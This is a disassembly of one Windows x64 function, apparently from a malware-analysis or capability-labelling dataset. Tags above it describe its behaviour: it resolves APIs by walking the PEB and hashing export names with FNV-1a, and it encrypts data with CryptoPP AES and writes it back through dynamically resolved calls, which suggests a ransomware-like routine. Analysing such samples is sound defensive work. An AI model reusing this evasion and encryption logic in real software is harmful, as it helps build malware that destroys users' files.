Function at 0x140027240
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Hash data using fnv
Resolve function by parsing pe exports
Set file attributes

Disassembly:
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0xb0]
sub rsp, 0x1b0
mov qword [rsp + 0x38], 0xfffffffffffffffe
mov qword [rsp + 0x200], rbx
mov rax, qword [0x14011f190]
xor rax, rsp
mov qword [rbp + 0xa0], rax
mov r13, rdx
mov r14, rcx
mov qword [rsp + 0x30], rcx
mov ecx, dword [rdx + 0x28]
test ecx, ecx
je 0x140027786
sub ecx, 1
je 0x14002739d
cmp ecx, 1
jne 0x140027ade
mov rax, qword [rdx + 0x30]
mov qword [rsp + 0x48], rax
xor ebx, ebx
mov qword [rsp + 0x78], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov r9d, 0x8000
lea r8, [rsp + 0x78]
lea rdx, [rsp + 0x48]
call qword [sym.imp.NTDLL.dll_NtFreeVirtualMemory]
lea edx, [rbx + 0x40]
mov rcx, r13
call fcn.14006f490
mov rax, qword [r14 + 0x58]
mov r8d, 0x300
add rax, r8
mov qword [rbp - 0x80], rax
mov dword [rsp + 0x20], 0x14
lea r9d, [rbx + 8]
lea r8, [rbp - 0x80]
lea rdx, [rbp + 0x90]
mov rcx, qword [r14]
call qword [sym.imp.NTDLL.dll_NtSetInformationFile]
lea rdi, [r14 + 8]
xor eax, eax
mov ecx, 0x20
rep stosb byte [rdi], al
mov rcx, qword [r14]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [r14 + 0x68]
call fcn.140027080
mov rdx, qword [r14 + 0x80]
cmp rdx, 8
jb 0x140027372
lea rdx, [rdx*2 + 2]
mov rcx, qword [r14 + 0x68]
cmp rdx, 0x1000
jb 0x14002736d
add rdx, 0x27
mov r8, qword [rcx - 8]
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140027b08
mov rcx, r8
call fcn.14006f490
mov qword [r14 + 0x78], rbx
mov qword [r14 + 0x80], 7
mov word [r14 + 0x68], bx
mov edx, 0x88
mov rcx, r14
call fcn.14006f490
call fcn.1400246c0
jmp 0x140027ade
mov rax, qword [rdx + 0x30]
mov qword [rsp + 0x50], rax
xor esi, esi
mov qword [rbp - 0x78], rsi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov r9d, 0x8000
lea r8, [rbp - 0x78]
lea rdx, [rsp + 0x50]
call qword [sym.imp.NTDLL.dll_NtFreeVirtualMemory]
mov rdi, 0xffffffffffffffff
mov eax, edi
lock xadd dword [r14 + 0x48], eax
cmp eax, 1
jne 0x140027ade
mov rcx, qword [r14 + 0x40]
call fcn.14006f490
lea ecx, [rsi + 0x40]
call fcn.14006f454
mov r12, rax
mov ecx, dword [r14 + 0x60]
xor edx, edx
mov r8d, 0x300
mov eax, r8d
div rcx
sub rcx, rdx
add rcx, r8
test rdx, rdx
cmove rcx, r8
mov qword [r12 + 0x38], rcx
xor eax, eax
mov qword [r12], rax
mov qword [r12 + 8], rax
mov qword [r12 + 0x10], rax
mov qword [r12 + 0x18], rax
mov eax, dword [r14 + 0x58]
mov dword [r12 + 0x10], eax
mov eax, dword [r14 + 0x5c]
mov dword [r12 + 0x14], eax
mov dword [r12 + 0x28], 2
mov rax, qword [r12 + 0x38]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x40], rsi
nop dword [rax]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0x3000
lea r9, [rsp + 0x60]
xor r8d, r8d
lea rdx, [rsp + 0x40]
call qword [sym.imp.NTDLL.dll_NtAllocateVirtualMemory]
test eax, eax
jne 0x140027460
mov rbx, qword [rsp + 0x40]
mov qword [r12 + 0x30], rbx
movaps xmm0, xmmword [0x14012c5e0]
movups xmmword [rbx + 0x284], xmm0
movaps xmm1, xmmword [0x14012c5f0]
movups xmmword [rbx + 0x294], xmm1
movaps xmm0, xmmword [0x14012c600]
movups xmmword [rbx + 0x2a4], xmm0
movaps xmm1, xmmword [0x14012c610]
movups xmmword [rbx + 0x2b4], xmm1
movaps xmm0, xmmword [0x14012c620]
movups xmmword [rbx + 0x2c4], xmm0
movaps xmm1, xmmword [0x14012c630]
movups xmmword [rbx + 0x2d4], xmm1
movaps xmm0, xmmword [0x14012c640]
movups xmmword [rbx + 0x2e4], xmm0
movsd xmm1, qword [0x14012c650]
movsd qword [rbx + 0x2f4], xmm1
mov eax, dword [0x14012c658]
mov dword [rbx + 0x2fc], eax
lea rcx, [r14 + 0x68]
cmp qword [rcx + 0x18], 8
jb 0x140027526
mov rcx, qword [rcx]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
nop dword [rax]
lea rdi, [rdi + 1]
cmp word [rax + rdi*2], si
jne 0x140027530
lea r8, [rdi + rdi]
lea rcx, [rbx + 0x3c]
mov rdx, rax
call fcn.1400933b0
mov rax, qword [r14 + 0x50]
mov qword [rbx + 0x30], rax
mov eax, dword [r14 + 0x60]
mov dword [rbx + 0x38], eax
movups xmm0, xmmword [r14 + 8]
movups xmmword [rbx], xmm0
movups xmm1, xmmword [r14 + 0x18]
movups xmmword [rbx + 0x10], xmm1
movups xmm0, xmmword [r14 + 0x28]
movups xmmword [rbx + 0x20], xmm0
lea rdx, [rbx + 0x248]
lea r9, [0x14012c660]
mov r8d, 0x248
mov rcx, rbx
call fcn.140040fe0
mov rdi, qword [0x14012d210]
test rdi, rdi
jne 0x14002774a
mov ebx, esi
mov r11d, 0x86fbf92f
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rsp + 0x50], xmm0
movd ecx, xmm0
sub cx, 8
test ebx, ebx
je 0x140027632
mov rdi, qword [rsp + 0x58]
movzx ecx, cx
shr rcx, 1
lea rdx, [rdi + rcx*2]
mov r10d, 0xd681876e
mov r8, rsi
mov r9, rdx
sub r9, rdi
inc r9
shr r9, 1
cmp rdi, rdx
cmova r9, rsi
test r9, r9
je 0x140027629
nop word [rax + rax]
movsx ecx, byte [rdi]
xor ecx, r10d
imul r10d, ecx, 0x1000193
lea rdi, [rdi + 2]
inc r8
cmp r8, r9
jne 0x140027610
cmp r10d, ebx
jne 0x14002773b
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov rcx, qword [rcx + r10 + 0x88]
mov esi, ecx
add rsi, r10
shr rcx, 0x20
cmp rsi, r10
je 0x140027739
mov r9d, dword [rsi + 0x18]
test r9d, r9d
je 0x140027739
mov r15d, dword [rsi + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov edi, dword [rdx + r15]
add rdi, r10
mov r8d, 0xd681876e
movzx edx, byte [rdi]
inc rdi
test dl, dl
je 0x1400276a8
nop
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rdi]
lea rdi, [rdi + 1]
test dl, dl
jne 0x140027690
cmp r8d, r11d
je 0x1400276bc
test r9d, r9d
jne 0x140027670
xor esi, esi
mov rax, qword [rax]
jmp 0x1400275c0
mov edx, dword [rsi + 0x24]
add rdx, r10
movzx edi, word [rdx + r9*2]
mov edx, dword [rsi + 0x1c]
add rdx, r10
mov edi, dword [rdx + rdi*4]
add rdi, r10
cmp rdi, rsi
jbe 0x140027743
lea rax, [rsi + rcx]
cmp rdi, rax
jae 0x140027743
mov ebx, 0xd681876e
mov r11d, ebx
movzx eax, byte [rdi]
cmp al, 0x2e
je 0x140027705
movsx eax, al
xor eax, ebx
imul ebx, eax, 0x1000193
inc rdi
movzx eax, byte [rdi]
cmp al, 0x2e
jne 0x1400276f0
inc rdi
movzx eax, byte [rdi]
test al, al
je 0x140027728
nop
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
lea rdi, [rdi + 1]
movzx eax, byte [rdi]
test al, al
jne 0x140027710
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
xor esi, esi
mov rax, qword [rax]
jmp 0x1400275c0
mov qword [0x14012d210], rdi
mov qword [rsp + 0x20], r12
lea r9, [rsp + 0x70]
mov r8d, dword [r12 + 0x38]
mov rdx, qword [r12 + 0x30]
mov rcx, qword [r14]
call rdi
test eax, eax
jne 0x140027ade
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
je 0x140027ade
call fcn.1400246c0
jmp 0x140027ade
xor edx, edx
mov r8d, 0xf8
lea rcx, [rbp - 0x70]
call fcn.140093810
lea rax, [rbp + 0x28]
mov qword [rsp + 0x60], rax
mov dl, 1
lea rcx, [rbp + 0x30]
call fcn.1400495d0
movabs rax, 0x3fffffffffffffff
mov qword [rbp + 0x50], rax
xor esi, esi
mov qword [rbp + 0x58], rsi
xor r8d, r8d
xor edx, edx
lea rcx, [rbp + 0x48]
call fcn.14002c5e0
mov qword [rbp + 0x60], rax
mov rdi, 0xffffffffffffffff
mov qword [rbp + 0x70], rdi
mov qword [rbp + 0x78], rsi
mov qword [rbp + 0x80], rsi
lea rax, vtable.CryptoPP::BlockCipherFinal_0__class_CryptoPP::Rijndael::Enc_.0
mov qword [rbp + 0x28], rax
lea rax, vtable.CryptoPP::BlockCipherFinal_0__class_CryptoPP::Rijndael::Enc_.1.0
mov qword [rbp + 0x30], rax
mov dl, 1
lea rcx, [rbp - 0x68]
call fcn.1400495d0
mov qword [rbp - 0x60], rsi
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x48], rsi
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x28], rdi
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], rsi
mov dl, 1
lea rcx, [rbp - 0x10]
call fcn.1400495d0
mov qword [rbp], rdi
mov qword [rbp + 8], rsi
mov qword [rbp + 0x10], rsi
mov qword [rbp + 0x18], rsi
lea rax, [0x1401005f8]
mov qword [rbp - 0x70], rax
lea rax, [0x1401004c0]
mov qword [rbp - 0x68], rax
lea rax, [0x1401006c8]
mov qword [rbp - 0x38], rax
lea rax, [0x140100838]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 0x60], rax
lea rcx, [rbp - 0x70]
call fcn.14004e4f0
nop
lea rcx, [rbp - 0x70]
mov rax, qword [rbp - 0x70]
call qword [rax + 0x40]
mov eax, eax
lea r9, [r14 + 0x28]
lea rdx, [r14 + 8]
mov qword [rsp + 0x20], rax
lea r8d, [rsi + 0x20]
lea rcx, [rbp - 0x70]
call fcn.14004bd80
mov eax, dword [r14 + 0x38]
mov rdx, qword [r13 + 0x20]
imul rdx, rax
lea rcx, [rbp - 0x68]
call fcn.14004dec0
mov rdx, qword [r13 + 0x30]
mov r9d, dword [r14 + 0x38]
mov r8, rdx
lea rcx, [rbp - 0x68]
call fcn.14004d900
mov dword [r13 + 0x28], 1
mov rdi, qword [0x14012d1e8]
test rdi, rdi
jne 0x140027a9e
mov ebx, esi
mov r11d, 0x2aef3b17
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
movups xmm0, xmmword [rax + 0x58]
movups xmmword [rsp + 0x60], xmm0
movd ecx, xmm0
sub cx, 8
test ebx, ebx
je 0x140027972
mov rdi, qword [rsp + 0x68]
movzx ecx, cx
shr rcx, 1
lea rdx, [rdi + rcx*2]
mov r10d, 0xcfd1a8f6
mov r8, rsi
mov r9, rdx
sub r9, rdi
inc r9
shr r9, 1
cmp rdi, rdx
cmova r9, rsi
test r9, r9
je 0x140027969
nop word [rax + rax]
movsx ecx, byte [rdi]
xor ecx, r10d
imul r10d, ecx, 0x1000193
add rdi, 2
inc r8
cmp r8, r9
jne 0x140027950
cmp r10d, ebx
jne 0x140027a8a
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov rcx, qword [rcx + r10 + 0x88]
mov r14d, ecx
add r14, r10
shr rcx, 0x20
cmp r14, r10
je 0x140027a8a
mov r9d, dword [r14 + 0x18]
test r9d, r9d
je 0x140027a8a
mov r15d, dword [r14 + 0x20]
nop word [rax + rax]
dec r9d
lea rdx, [r10 + r9*4]
mov edx, dword [rdx + r15]
add rdx, r10
mov r8d, 0xcfd1a8f6
movzx edi, byte [rdx]
inc rdx
test dil, dil
je 0x1400279ea
nop
movsx edi, dil
xor edi, r8d
imul r8d, edi, 0x1000193
movzx edi, byte [rdx]
lea rdx, [rdx + 1]
test dil, dil
jne 0x1400279d0
cmp r8d, r11d
je 0x1400279fe
test r9d, r9d
jne 0x1400279b0
xor esi, esi
mov rax, qword [rax]
jmp 0x140027900
mov edx, dword [r14 + 0x1c]
add rdx, r10
mov eax, dword [r14 + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edi, dword [rdx + rax*4]
add rdi, r10
cmp rdi, r14
jbe 0x140027a92
lea rax, [r14 + rcx]
cmp rdi, rax
jae 0x140027a92
mov ebx, 0xcfd1a8f6
mov r11d, ebx
movzx eax, byte [rdi]
cmp al, 0x2e
je 0x140027a55
nop dword [rax]
nop dword [rax + rax]
movsx eax, al
xor eax, ebx
imul ebx, eax, 0x1000193
inc rdi
movzx eax, byte [rdi]
cmp al, 0x2e
jne 0x140027a40
inc rdi
movzx eax, byte [rdi]
test al, al
je 0x140027a77
nop
movsx eax, al
xor eax, r11d
imul r11d, eax, 0x1000193
inc rdi
movzx eax, byte [rdi]
test al, al
jne 0x140027a60
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
xor esi, esi
mov rax, qword [rax]
jmp 0x140027900
mov qword [0x14012d1e8], rdi
mov r14, qword [rsp + 0x30]
mov qword [rsp + 0x20], r13
lea r9, [rsp + 0x74]
mov r8d, dword [r14 + 0x38]
mov rdx, qword [r13 + 0x30]
mov rcx, qword [r14]
call rdi
test eax, eax
jne 0x140027acc
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x3e5
je 0x140027acc
call fcn.1400246c0
nop
lea rcx, [rbp - 0x70]
call fcn.140028ce0
lea rcx, [rbp + 0x28]
call fcn.140027b50
mov rcx, qword [rbp + 0xa0]
xor rcx, rsp
call fcn.14006f430
mov rbx, qword [rsp + 0x200]
add rsp, 0x1b0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.14009c704
int3